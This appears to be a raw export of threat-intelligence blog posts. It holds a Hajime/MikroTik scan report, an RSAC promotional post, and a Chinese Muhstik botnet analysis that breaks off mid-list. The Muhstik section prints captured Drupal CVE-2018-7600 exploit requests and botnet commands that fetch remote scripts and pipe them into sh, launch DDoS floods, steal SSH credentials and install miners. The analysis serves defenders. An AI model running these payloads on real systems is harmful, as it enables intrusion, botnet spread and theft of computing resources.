“Execution” to perform worm-like spreading, and its propagation process is roughly divided into two steps: 1. Find a MikroTik device by checking if the target port is open on port 8291, if this port is open,the other common web ports (80,81,82,8080,8081,8082,8089,8181,8880) will be probed next. 2. Check the version number of the device and send the Exploit which carried the Shellcode. Once the vulnerability is successfully exploited, Hajime will be downloaded and executed. Number of unique ips From 2018-03-25 00:00 to 2018-03-27 12:36(GMT+8), We logged a total of 861,131 unique scan source IPs (72 Hours).(Please bear in mind that device may change ip due to device reboot etc and it does not necessary mean all these devices are MikroTik devices as all the Hajime bots will perform this task as long as they have the most recent version of Hajime code running. Also naturally there will be some noises such as researcher ips in it) Scan Source Distribution From the above figure, it is not difficult to find the top three sources of the scan source are: Brazil (585k), Iran (51.8k), Russia (26.4k). Mitigation 1. block unnecessary 8291 port request 2. Update to the latest version from MikroTik. We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our twitter. IOC 06B4D50254C6C112437A3ED893EF40B4 .i.mipseb 93A1A080FCDE07E512E7485C92861B69 atk.mipseb fc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack Refer 1. https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum 2. https://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4 3. https://www.exploit-db.com/exploits/44283/ 4. https://blog.netlab.360.com/hajime-status-report/ 5. https://blog.netlab.360.com/hajime-status-report-en/ 6. https://twitter.com/360Netlab

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"## Summary\n\nThis 8291 scan event is caused by a Hajime botnet variant. Compared to the old Hajime, this one adds two new features: \n\n1. Check port 8291 to determine if the target is a MikroTik device\n2. Use ‘Chimay Red’ Stack Clash Remote Code Execution Loophole vulnerabilities to infect and spread.\n\nFor more details about the Hajime, please check our previous blog [here](__GHOST_URL__/hajime-status-report-en/)\n\n## The sharp scan increase\n\nAt around 0:00 on March 25, Beijing time, our [Scanmon](https://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum) system suggested a large number of scan activity is happening on port 8291 on a global scale.\n\n\n\nAround 2 pm, our honeypot data indicated this sudden spike was related to Hajime. Our preliminary conclusion based on its UPX\\_MAGIC\\_LE32 and some sample features confirmed that the sample is Hajime based. And we found the ‘Chimay Red’ Stack Clash Remote Code Execution” vulnerability related attack code in their atk module. \n \n> https://www.exploit-db.com/exploits/44283/\n\n\n## Infection process\n\nThis Hajime variant adds a support of using “‘Chimay Red’ Stack Clash Remote Code “Execution” to perform worm-like spreading, and its propagation process is roughly divided into two steps:\n\n1. Find a MikroTik device by checking if the target port is open on port 8291, if this port is open,the other common web ports (80,81,82,8080,8081,8082,8089,8181,8880) will be probed next.\n2. Check the version number of the device and send the Exploit which carried the Shellcode. Once the vulnerability is successfully exploited, Hajime will be downloaded and executed.\n\n\n\n## Number of unique ips\n\nFrom 2018-03-25 00:00 to 2018-03-27 12:36(GMT+8), We logged a total of 861,131 unique scan source IPs (72 Hours).(Please bear in mind that device may change ip due to device reboot etc and it does not necessary mean all these devices are MikroTik devices as all the Hajime bots will perform this task as long as they have the most recent version of Hajime code running. Also naturally there will be some noises such as researcher ips in it)\n\n## Scan Source Distribution\n\n\n\nFrom the above figure, it is not difficult to find the top three sources of the scan source are: Brazil (585k), Iran (51.8k), Russia (26.4k).\n\n## Mitigation\n\n1. block unnecessary 8291 port request\n2. Update to the latest version from MikroTik.\n\nWe will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our [twitter](https://twitter.com/360Netlab).\n\n## IOC\n\n06B4D50254C6C112437A3ED893EF40B4 .i.mipseb\n93A1A080FCDE07E512E7485C92861B69 atk.mipseb\nfc834c015b357c687477cb9116531de7 atk.mipseb.upx.unpack\n\n## Refer\n1.\thttps://scan.netlab.360.com/#/dashboard?tsbeg=1521648000000&tsend=1522252800000&dstport=8291&toplistname=srcip&topn=10&sortby=sum\n2.\thttps://forum.mikrotik.com/viewtopic.php?f=2&t=132368&sid=7f731eb96b119d6e9e1a90227270fdd4\n3.\thttps://www.exploit-db.com/exploits/44283/\n4.\t__GHOST_URL__/hajime-status-report/\n5.\t__GHOST_URL__/hajime-status-report-en/\n6. https://twitter.com/360Netlab\n\n\n\n\n\n\n\n\n\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

111

post

2018-04-13T08:50:33.000Z

63873b9a8b1c1e0007f52f20

the-360netlab-threat-intelligence-service-on-rsac-2018

2018-10-06T09:03:59.000Z

public

published

2018-04-13T09:34:04.000Z

RSA大会 '2018，360Netlab的威胁情报服务

<!--kg-card-begin: markdown--><p>RSA大会'2018 即将在4月16日至19日期间在美国旧金山Moscone中心举办。在今年的这次大会上，360Netlab将首次集中展示威胁情报服务能力。您可以在 <a href="https://youtu.be/VeKzaTXlU3A/">这里</a> 观看介绍视频，记得可能需要手动调到1080P。您也可以试用在线系统，包括 <a href="https://ddosmon.net/">DDoSMon</a> 和<a href="https://scan.netlab.360.com/">ScanMon</a> 。</p> <p>DDoSMon、ScanMon和DNSMon，是360Netlab本次展示威胁情报服务能力的三个主要组成部分。三者分别提供拒绝服务、网络扫描、域名异常的监控能力，应对全球网络流量实时处理。</p> <ul> <li><strong>DNSMon</strong>是2018年新推出的能力。在DNSMon里面，我们实时的分析海量的DNS流量，并对流量中的各种异常和关联关系予以分析，从而发现大网流行的恶意代码行为。另一方面，DNSMon将我们指向未知威胁发现领域，我们期待在这个领域内作出更多成果。DNSMon相关已经公开的成功案例，包括之前公布的“偷电”系列分析文章。</li> <li><strong>ScanMon</strong>早先在2016年ISC和2017 RSAC大会上两次公布。利用ScanMon，我们可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。</li> <li><strong>DDoSMon</strong>最早于2016年RSAC大会公布。利用DDoSMon，我们可以实时的感知大量的DDoS攻击行为、受害者，有时我们也能感知到对应的发起DDoS攻击的僵尸网络。我们基于DDoSMon发布了一系列相关分析文章。若干互联网重要公司使用了我们的DDoSMon服务来帮助监控自身网络遭受攻击的情况。</li> </ul> <p>360Netlab的研究员同事会在360展台，如果您有兴趣与他交流，欢迎前来。地点在展厅南区#1233</p> <!--kg-card-end: markdown-->

RSA大会'2018 即将在4月16日至19日期间在美国旧金山Moscone中心举办。在今年的这次大会上，360Netlab将首次集中展示威胁情报服务能力。您可以在 这里 观看介绍视频，记得可能需要手动调到1080P。您也可以试用在线系统，包括 DDoSMon 和ScanMon 。 DDoSMon、ScanMon和DNSMon，是360Netlab本次展示威胁情报服务能力的三个主要组成部分。三者分别提供拒绝服务、网络扫描、域名异常的监控能力，应对全球网络流量实时处理。 * DNSMon是2018年新推出的能力。在DNSMon里面，我们实时的分析海量的DNS流量，并对流量中的各种异常和关联关系予以分析，从而发现大网流行的恶意代码行为。另一方面，DNSMon将我们指向未知威胁发现领域，我们期待在这个领域内作出更多成果。DNSMon相关已经公开的成功案例，包括之前公布的“偷电”系列分析文章。 * ScanMon早先在2016年ISC和2017 RSAC大会上两次公布。利用ScanMon，我们可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。 * DDoSMon最早于2016年RSAC大会公布。利用DDoSMon，我们可以实时的感知大量的DDoS攻击行为、受害者，有时我们也能感知到对应的发起DDoS攻击的僵尸网络。我们基于DDoSMon发布了一系列相关分析文章。若干互联网重要公司使用了我们的DDoSMon服务来帮助监控自身网络遭受攻击的情况。 360Netlab的研究员同事会在360展台，如果您有兴趣与他交流，欢迎前来。地点在展厅南区#1233

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\nRSA大会'2018 即将在4月16日至19日期间在美国旧金山Moscone中心举办。在今年的这次大会上，360Netlab将首次集中展示威胁情报服务能力。您可以在 [这里](https://youtu.be/VeKzaTXlU3A/) 观看介绍视频，记得可能需要手动调到1080P。您也可以试用在线系统，包括 [DDoSMon](https://ddosmon.net/) 和[ScanMon](https://scan.netlab.360.com/) 。\n\nDDoSMon、ScanMon和DNSMon，是360Netlab本次展示威胁情报服务能力的三个主要组成部分。三者分别提供拒绝服务、网络扫描、域名异常的监控能力，应对全球网络流量实时处理。\n\n - **DNSMon**是2018年新推出的能力。在DNSMon里面，我们实时的分析海量的DNS流量，并对流量中的各种异常和关联关系予以分析，从而发现大网流行的恶意代码行为。另一方面，DNSMon将我们指向未知威胁发现领域，我们期待在这个领域内作出更多成果。DNSMon相关已经公开的成功案例，包括之前公布的“偷电”系列分析文章。\n - **ScanMon**早先在2016年ISC和2017 RSAC大会上两次公布。利用ScanMon，我们可以第一时间感知网络扫描行为，并方便有效的识别对应的攻击者。例如，360网络安全研究院在针对 mirai 僵尸网络出现、发展、新变种的持续跟踪中，就大量借助了 ScanMon 的能力。\n - **DDoSMon**最早于2016年RSAC大会公布。利用DDoSMon，我们可以实时的感知大量的DDoS攻击行为、受害者，有时我们也能感知到对应的发起DDoS攻击的僵尸网络。我们基于DDoSMon发布了一系列相关分析文章。若干互联网重要公司使用了我们的DDoSMon服务来帮助监控自身网络遭受攻击的情况。\n\n360Netlab的研究员同事会在360展台，如果您有兴趣与他交流，欢迎前来。地点在展厅南区#1233"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

113

post

2018-04-20T01:56:46.000Z

63873b9a8b1c1e0007f52f21

botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style

2022-02-09T07:14:41.000Z

public

published

2018-04-20T05:10:01.000Z

僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播

<!--kg-card-begin: markdown--><p>2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。</p> <p>从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。</p> <p>我们认为 muhstik 有以下特点值得社区关注：</p> <ul> <li>蠕虫式传播</li> <li>长期存在</li> <li>使用的漏洞利用数目众多</li> <li>混合使用了多种牟利方式</li> </ul> <h4 id="">攻击载荷</h4> <p>按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：</p> <ul> <li>活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58</li> <li>活跃时间：2018-04-16 19:38:39~至今</li> </ul> <p>对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。</p> <p>两组攻击载荷的详细信息如下：</p> <pre><code>POST /user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 2048 form_id=user_register_form&amp;_drupal_ajax=1&amp;mail[#post_render[]=exec&amp;mail[#type]=markup&amp;mail[#markup]=echo &quot;team6 representing 73de29021fd0d8d2cfd204d2d955a46d&quot;|tee t6nv </code></pre> <pre><code>POST /user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&amp;_drupal_ajax=1&amp;mail%5B%23post_render%5D%5B%5D=exec&amp;mail%5B%23type%5D=markup&amp;mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php </code></pre> <h4 id="aiox862">样本 aiox86 导致了上述攻击载荷 #2</h4> <p>有以下关键样本</p> <pre><code>da17dc1438bb039968a5737c6fbc88cd aiox86 </code></pre> <p>我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：</p> <ul> <li>攻击载荷，存在于该样本中</li> <li>攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生</li> </ul> <p>下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。<br> <img src="__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png" alt="" loading="lazy"></p> <p>事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：</p> <ul> <li>扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；</li> <li>投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；</li> <li>扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；</li> <li>扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。</li> </ul> <p>获取扫描目标IP地址：</p> <pre><code>hxxp://191.238.234.227/amazon.php #我们尝试从这个URL上获得了50个网段，均属于Amazon所有 hxxp://191.238.234.227/dedi.php #我们尝试从这个URL上获得了50个网段，所属公司较为分散 </code></pre> <p>所投递的漏洞载荷：</p> <pre><code>ClipBucket：rss.php DasanNetwork Solution：/cgi-bin/index.cgi Drupal:CVE-2018-7600 WebDav Weblogic:CVE-2017-10271 Webuzo:install.php Wordpress:install.php </code></pre> <p>扫描目标端口与载荷的对应关系：</p> <pre><code>80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket 2004：Webuzo 7001：Weblogic 8080：Wordpress，WebDav，DasanNetwork Solution </code></pre> <p>载荷上报信息接口：</p> <pre><code>hxxp://51.254.219.134/clipbucket.php #ClipBucket hxxp://51.254.219.134/dasan.php #DasanNetwork_Solution hxxp://51.254.219.134/dav.php #Webdav hxxp://51.254.219.134/drupal.php #Drupal hxxp://51.254.219.134/oracleaudit.php?port= #Weblogic hxxp://51.254.219.134/tomato.php #http401，用作探测中间状态 hxxp://51.254.219.134/webuzo.php #Webuzo hxxp://51.254.219.134/wp.php #Wordpress </code></pre> <h4 id="aiox86muhstik">样本aiox86 是由 Muhstik 僵尸网络分发的</h4> <p>在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：</p> <p><img src="__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png" alt="" loading="lazy"></p> <p>上述C2，隶属于 Muhstik 僵尸网络家族。</p> <h4 id="muhstik">Muhstik 僵尸网络家族</h4> <p>Muhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：</p> <ul> <li>代表样本： c37016e34304ff4a2a0db1894cdcdb92</li> <li>C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡</li> <li>通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令</li> <li>IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel</li> </ul> <p>Muhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。</p> <p>Muhstik 的传播模块：</p> <ul> <li>aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷</li> <li>SSH扫描模块：弱口令扫描</li> </ul> <p>Muhstik 的获利方式：</p> <ul> <li>xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。</li> <li>cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3</li> <li>DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）</li> </ul> <p>Muhstik cgminer 钱包和矿池地址：</p> <pre><code> { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; }, { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; }, { &quot;url&quot;: &quot;stratum+tcp://dash.viabtc.com:443&quot;, &quot;user&quot;: &quot;reb0rn.D3&quot;, &quot;pass&quot;: &quot;x&quot; } </code></pre> <p>Muhstik C2 列表，按照其在样本中硬编码的顺序：</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 </code></pre> <p>IRC Channel，字母序：</p> <pre><code>#muhstik #muhstik-i586 #muhstik-SSH #muhstik-x86 </code></pre> <p>我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：</p> <pre><code>#muhstik-x86 #植入xmrig64挖矿程序； #muhstik-x86 #植入Muhstik.aioscan扫描模块 #muhstik-x86 #探测bot是否有drupal存在 #muhstik #植入Muhstik.aioscan扫描模块 #muhstik #发出DDoS攻击指令； #muhstik-SSH #cgminer 挖矿程序的配置文件； #muhstik-SSH #执行SSH扫描 #muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播 #muhstik-i586 #植入 Muhstik.aioscan #muhstik-i586 #植入xmrig32挖矿程序 </code></pre> <p>#muhstik-x86 #植入xmrig64挖矿程序</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-x86 #植入Muhstik.aioscan扫描模块</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) &gt; /dev/null 2&gt;&amp;1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-x86 #探测bot是否有drupal存在</p> <pre><code>:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot; :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) :m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php &amp;&amp; echo $(hostname -I | cut -d&quot; &quot; -f 1)) || echo &quot;No drupal&quot; </code></pre> <p>#muhstik #植入Muhstik.aioscan扫描模块</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik #发出DDoS攻击指令；</p> <pre><code>:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX </code></pre> <p>#muhstik-SSH #cgminer 挖矿程序的配置文件</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.x11.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart )&gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 &amp;&amp; (cgminer-api &quot;addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x&quot; &amp;&amp; cgminer-api &quot;switchpool|3&quot; ) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 &amp;&amp; ( wget -qO - http://51.254.221.129/cgminer.sha256.conf &gt; /config/cgminer.conf &amp;&amp; /etc/init.d/cgminer.sh restart) &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播</p> <pre><code>:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-SSH #执行SSH扫描</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137 </code></pre> <p>#muhstik-i586 #植入 Muhstik.aioscan</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <p>#muhstik-i586 #植入xmrig32挖矿程序</p> <pre><code>:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh &gt; /dev/null 2&gt;&amp;1 &amp; </code></pre> <h4 id="muhstik">Muhstik 可能来源已久</h4> <p>通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。</p> <pre><code>dasan.deutschland-zahlung.eu 134.ip-51-254-219.eu uranus.kei.su wireless.kei.su www.kei.su y.fd6fq54s6df541q23sdxfg.eu </code></pre> <h4 id="ioc">IoC</h4> <p>Muhstik C2 List</p> <pre><code>139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 </code></pre> <p>Muhstik Malware URL</p> <pre><code>hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd 